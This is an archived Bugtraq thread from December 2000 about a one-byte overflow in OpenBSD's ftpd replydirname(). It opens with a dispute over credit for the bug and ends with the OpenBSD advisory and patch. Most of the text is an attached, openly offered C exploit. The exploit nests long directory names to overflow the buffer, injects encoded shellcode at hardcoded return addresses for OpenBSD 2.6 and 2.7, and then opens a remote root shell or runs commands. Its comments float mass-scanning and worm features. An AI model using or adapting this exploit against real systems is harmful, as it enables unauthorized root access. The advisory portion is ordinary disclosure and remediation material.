5877168 2000-12-19 07:36 +0300 /23 rader/ jimjones <jimjones@LOW-LEVEL.NET> Sänt av: joel@lysator.liu.se Importerad: 2000-12-19 22:24 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: jimjones@LOW-LEVEL.NET Mottagare: Bugtraq (import) <14319> Ärende: OBSD ftpd exploit clarification ------------------------------------------------------------ It is always sad when something like this has to be posted, but I am only doing this to give proper credit where it is due. As we all know, the OBSD ftpd replydirname() came to light with the post by Kristian Vlaardingerbroek <kris@obit.nl> Did he discover it? No. Did he give credit for the code or the discovery? No. The fact of the matter is that this post came from a personal, real-life friend of scrippie's who gained his trust and exploited this trust in order to shamelessly steal and post this vulnerability in a pitiful attempt to gain fame. In fact, the originator of this post did not even know how to fully patch the bug without allowing a remote DOS condition to still exist. The brunt of the work in the development of this exploit was done by scrippie and dvorak and they certainly deserve all due credit for their *-ORIGINAL-* exploitation of this vulnerability. The condition was discovered 11/06/2000 and the exploit was created a week afterwards. Thanks, and let's hope that somebody learns from this post to consider friendship and trust before plagiarism and duplicity for public recognition. (5877168) --------------------------------(Ombruten) Bilaga (text/plain) i text 5877169 5877169 2000-12-19 07:36 +0300 /493 rader/ jimjones <jimjones@LOW-LEVEL.NET> Bilagans filnamn: "obsd-ftpd.c" Importerad: 2000-12-19 22:24 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: jimjones@LOW-LEVEL.NET Mottagare: Bugtraq (import) <14320> Bilaga (text/plain) till text 5877168 Ärende: Bilaga (obsd-ftpd.c) till: OBSD ftpd exploit clarification ------------------------------------------------------------ /* h0h0h0 0-day k0d3z Exploit by Scrippie, help by dvorak and jimjones greets to sk8 Not fully developt exploit but it works most of the time ;) Things to add: - automatic writeable directory finding - syn-scan option to do mass-scanning - worm capabilities? (should be done seperatly using the -C option 11/13/2000 */ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> void usage(char *program); char *strcreat(char *, char *, int); char *longToChar(unsigned long); char *xrealloc(void *, size_t); void xfree(char **ptr); char *xmalloc(size_t); int xconnect(char *host, u_short port); void xsend(int fd, char *buf); void xsendftpcmd(int fd, char *command, char *param); void xrecieveall(int fd, char *buf, int size); void xrecieve(int fd, char *buf, int size); void ftp_login(int fd, char *user, char *password); void exploit(int fd); int verbose = 0; /* Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask to get rid of dots and slashes. */ char heavenlycode[] = "\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80" "\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94\xd9\xd3"; char user[255] = "anonymous"; char pass[255] = "anonymous@abc.com"; char write_dir[PATH_MAX] = "/"; int ftpport = 21; unsigned long int ret_addr = 0; #define CMD_LOCAL 0 #define CMD_REMOTE 1 int command_type = -1; char *command = NULL; struct typeT { char *name; unsigned long int ret_addr; }; #define NUM_TYPES 2 struct typeT types[NUM_TYPES] = { "OpenBSD 2.6", 0xdfbfd0ac, "OpenBSD 2.7", 0xdfbfd0ac}; void usage(char *program) { int i; fprintf(stderr, "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n" "Directory should be an absolute path, writable by the user.\n" "The argument of -c will be executed on the remote host\n" "while the argument of -C will be executed on the local\n" "with its filedescriptors connected to the remote host\n" "Valid types:\n", program); for (i = 0; i < NUM_TYPES; i++) { printf("%d : %s\n", i, types[i].name); } exit(-1); } main(int argc, char **argv) { unsigned int i; int opt, fd; unsigned int type = 0; char *hostname = "localhost"; if (argc < 2) usage(argv[0]); while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) { switch (opt) { case 'h': hostname = optarg; break; case 'C': command = optarg; command_type = CMD_LOCAL; break; case 'c': command = optarg; command_type = CMD_REMOTE; break; case 'r': ret_addr = strtoul(optarg, NULL, 0); break; case 'v': verbose++; break; case 'f': if (!(ftpport = atoi(optarg))) { fprintf(stderr, "Invalid destination port - %s\n", optarg); exit(-1); } exit(-1); break; case 'u': strncpy(user, optarg, sizeof(user) - 1); user[sizeof(user) - 1] = 0x00; break; case 'p': strncpy(pass, optarg, sizeof(pass) - 1); pass[sizeof(pass) - 1] = 0x00; break; case 'd': strncpy(write_dir, optarg, sizeof(write_dir) - 1); write_dir[sizeof(write_dir) - 1] = 0x00; if ((write_dir[0] != '/')) usage(argv[0]); if ((write_dir[strlen(write_dir) - 1] != '/')) strncat(write_dir, "/", sizeof(write_dir) - 1); break; case 't': type = atoi(optarg); if (type > NUM_TYPES) usage(argv[0]); break; default: usage(argv[0]); } } if (ret_addr == 0) ret_addr = types[type].ret_addr; if ((fd = xconnect(hostname, ftpport)) == -1) exit(-1); else printf("Connected to remote host! Sending evil codes.\n"); ftp_login(fd, user, pass); exploit(fd); } int ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg) { xsendftpcmd(fd, command, param); xrecieveall(fd, res, size); if (res == NULL) return 0; if (verbose) printf("%s\n", res); if (msg && (res[0] != '2')) { fprintf(stderr, "%s\n", msg); exit(-1); } return (res[0] != '2'); } void shell(int fd) { fd_set readfds; char buf[1]; char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n"; write(fd, tst, strlen(tst)); while (1) { FD_ZERO(&readfds); FD_SET(0, &readfds); FD_SET(fd, &readfds); select(fd + 1, &readfds, NULL, NULL, NULL); if (FD_ISSET(0, &readfds)) { if (read(0, buf, 1) != 1) { perror("read"); exit(1); } write(fd, buf, 1); } if (FD_ISSET(fd, &readfds)) { if (read(fd, buf, 1) != 1) { perror("read"); exit(1); } write(1, buf, 1); } } } void do_command(int fd) { char buffer[1024]; int len; if (command_type == CMD_LOCAL) { dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl(command, command, NULL); exit (2); } write(fd, command, strlen(command)); write(fd, "\n", 1); while ((len = read(fd, buffer, sizeof(buffer))) > 0) { write(1, buffer, len); } exit (0); } void execute_command(fd) { } int exploit_ok(int fd) { char result[1024]; xsend(fd, "id\n"); xrecieve(fd, result, sizeof(result)); return (strstr(result, "uid=") != NULL); } void exploit(int fd) { char res[1024]; int heavenlycode_s; char *dir = NULL; ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir"); dir = strcreat(dir, "A", 255 - strlen(write_dir)); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 256 */ dir = strcreat(dir, "A", 255); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 512 */ heavenlycode_s = strlen(heavenlycode); dir = strcreat(dir, "A", 254 - heavenlycode_s); dir = strcreat(dir, heavenlycode, 1); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* next on = 768 */ dir = strcreat(dir, longToChar(ret_addr), 252 / 4); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* length = 1020 */ /* 1022 moet " zijn */ dir = strcreat(dir, "AAA\"", 1); ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL); ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory"); xfree(&dir); /* and tell it to blow up */ ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL); if (!exploit_ok(fd)) { if (command != NULL) { exit (2); } fprintf(stderr, "Exploit failed\n"); exit (1); } if (command == NULL) shell(fd); else do_command(fd); } char * strcreat(char *dest, char *pattern, int repeat) { char *ret; size_t plen, dlen = 0; int i; if (dest) dlen = strlen(dest); plen = strlen(pattern); ret = (char *) xrealloc(dest, dlen + repeat * plen + 1); if (!dest) ret[0] = 0x00; for (i = 0; i < repeat; i++) { strcat(ret, pattern); } return (ret); } char * longToChar(unsigned long blaat) { char *ret; ret = (char *) xmalloc(sizeof(long) + 1); memcpy(ret, &blaat, sizeof(long)); ret[sizeof(long)] = 0x00; return (ret); } char * xrealloc(void *ptr, size_t size) { char *wittgenstein_was_a_drunken_swine; if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) { fprintf(stderr, "Cannot calculate universe\n"); exit(-1); } return (wittgenstein_was_a_drunken_swine); } void xfree(char **ptr) { if (!ptr || !*ptr) return; free(*ptr); *ptr = NULL; } char * xmalloc(size_t size) { char *heidegger_was_a_boozy_beggar; if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) { fprintf(stderr, "Out of cheese error\n"); exit(-1); } return (heidegger_was_a_boozy_beggar); } int xconnect(char *host, u_short port) { struct hostent *he; struct sockaddr_in s_in; int fd; if ((he = gethostbyname(host)) == NULL) { perror("gethostbyname"); return (-1); } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons(port); memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket"); return (-1); } if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) { perror("connect"); return (-1); } return fd; } /* returns status from ftpd */ void ftp_login(int fd, char *user, char *password) { char reply[512]; int rep; xrecieveall(fd, reply, sizeof(reply)); if (verbose) { printf("Logging in ..\n"); printf("%s\n", reply); } xsendftpcmd(fd, "USER", user); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf("%s\n", reply); xsendftpcmd(fd, "PASS", password); xrecieveall(fd, reply, sizeof(reply)); if (verbose) printf("%s\n", reply); if (reply[0] != '2') { printf("Login failed.\n"); exit(-1); } } void xsendftpcmd(int fd, char *command, char *param) { xsend(fd, command); if (param != NULL) { xsend(fd, " "); xsend(fd, param); } xsend(fd, "\r\n"); } void xsend(int fd, char *buf) { if (send(fd, buf, strlen(buf), 0) != strlen(buf)) { perror("send"); exit(-1); } } void xrecieveall(int fd, char *buf, int size) { char scratch[6]; if (buf == NULL || size == 0) { buf = scratch; size = sizeof(scratch); } memset(buf, 0, size); do { xrecieve(fd, buf, size); } while (buf[3] == '-'); } /* recieves a line from the ftpd */ void xrecieve(int fd, char *buf, int size) { char *end; char ch; end = buf + size; while (buf < end) { if (read(fd, buf, 1) != 1) { perror("read"); /* XXX */ exit(-1); } if (buf[0] == '\n') { buf[0] = '\0'; return; } if (buf[0] != '\r') { buf++; } } buf--; while (read(fd, buf, 1) == 1) { if (buf[0] == '\n') { buf[0] = '\0'; return; } } perror("read"); /* XXX */ exit(-1); } (5877169) --------------------------------(Ombruten) 5877411 2000-12-18 18:33 -0700 /152 rader/ Aaron Campbell <aaron@CVS.OPENBSD.ORG> Sänt av: joel@lysator.liu.se Importerad: 2000-12-20 00:56 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: aaron@CVS.OPENBSD.ORG Mottagare: Bugtraq (import) <14334> Ärende: OpenBSD Security Advisory ------------------------------------------------------------ From: Aaron Campbell <aaron@CVS.OPENBSD.ORG> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <200012190133.eBJ1XEM20128@cvs.openbsd.org> ---------------------------------------------------------------------------- OpenBSD Security Advisory December 18, 2000 Single-byte buffer overflow vulnerability in ftpd ---------------------------------------------------------------------------- SYNOPSIS A relatively obscure one-byte buffer overflow bug present in ftpd(8) turns out to be a serious problem, yielding remote users root access under certain conditions. For a system to be vulnerable, ftpd must have been explicitly enabled by the administrator (OpenBSD ships with it OFF by default) and the attacker must have write access to at least one directory. Therefore, anonymous read-only FTP servers are safe (we recommend applying the patch regardless, of course). Non-anonymous FTP administrators should seriously consider using a more secure transport like SSH. A fix for this problem was committed on December 4th. OpenBSD developers became aware of a publicly available exploit on December 17th. ---------------------------------------------------------------------------- AFFECTED SYSTEMS This vulnerability affects OpenBSD versions through 2.8. FreeBSD is reportedly not vulnerable. NetBSD is vulnerable to the same bug and a patch was applied to their tree on December 14th. ---------------------------------------------------------------------------- TECHNICAL DETAILS The offending code is as follows: char npath[MAXPATHLEN]; int i; for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) { npath[i] = *name; if (*name == '"') npath[++i] = '"'; } npath[i] = '\0'; In <sys/param.h>, MAXPATHLEN is defined to be 1024 bytes. The for() construct here correctly bounds variable `i' to be < 1023, such that when the loop has ended, no byte past npath[1023] may be written with '\0'. However, since `i' is also incremented in the nested statements here, it can become as large as 1024, and npath[1024] is past the end of the allocated buffer space. ---------------------------------------------------------------------------- RESOLUTION OpenBSD does not ship with ftpd enabled by default. If you are using it, disable it until you are fixed by editing /etc/inetd.conf and restarting the inetd(8) daemon. Then, apply the fix below to your OpenBSD 2.8 source tree. The patch is also available at http://www.openbsd.org/errata.html (005). ---------------------------------------------------------------------------- REFERENCES The original bug report, http://www.geocrawler.com/lists/3/OpenBSD/254/75/4767480/ Security and errata, http://www.openbsd.org/security.html http://www.openbsd.org/errata.html Olaf Kirch discusses one-byte overruns in a post to BUGTRAQ in 1998 with subject "The poisoned NUL byte", http://www.securityfocus.com/archive/1/10884 ---------------------------------------------------------------------------- CREDITS This vulnerability was first reported to OpenBSD Kristian Vlaardingerbroek through the bugs@openbsd.org mailing list. Kristian acknowledged in a later post that it was Ronald (a.k.a. Scrippie) who originally found the bug. The fix provided in the original bug report is incorrect. Credit goes to Jun-ichiro itojun Hagino <itojun@openbsd.org> for applying a safe fix to the OpenBSD 2.8-current tree. This patch has also been applied to the stable branch. ---------------------------------------------------------------------------- OPENBSD 2.8 PATCH Apply by doing: cd /usr/src patch -p0 < 005_ftpd.patch And then rebuild and install ftpd: cd libexec/ftpd make obj make depend make make install Index: libexec/ftpd/ftpd.c =================================================================== RCS file: /cvs/src/libexec/ftpd/ftpd.c,v retrieving revision 1.79 diff -u -r1.79 ftpd.c --- libexec/ftpd/ftpd.c 2000/09/15 07:13:45 1.79 +++ libexec/ftpd/ftpd.c 2000/12/05 17:06:29 @@ -1959,15 +1959,21 @@ replydirname(name, message) const char *name, *message; { + char *p, *ep; char npath[MAXPATHLEN]; - int i; - for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) { - npath[i] = *name; - if (*name == '"') - npath[++i] = '"'; + p = npath; + ep = &npath[sizeof(npath) - 1]; + while (*name) { + if (*name == '"' && ep - p >= 2) { + *p++ = *name++; + *p++ = '"'; + } else if (ep - p >= 1) + *p++ = *name++; + else + break; } - npath[i] = '\0'; + *p = '\0'; reply(257, "\"%s\" %s", npath, message); } (5877411) --------------------------------(Ombruten)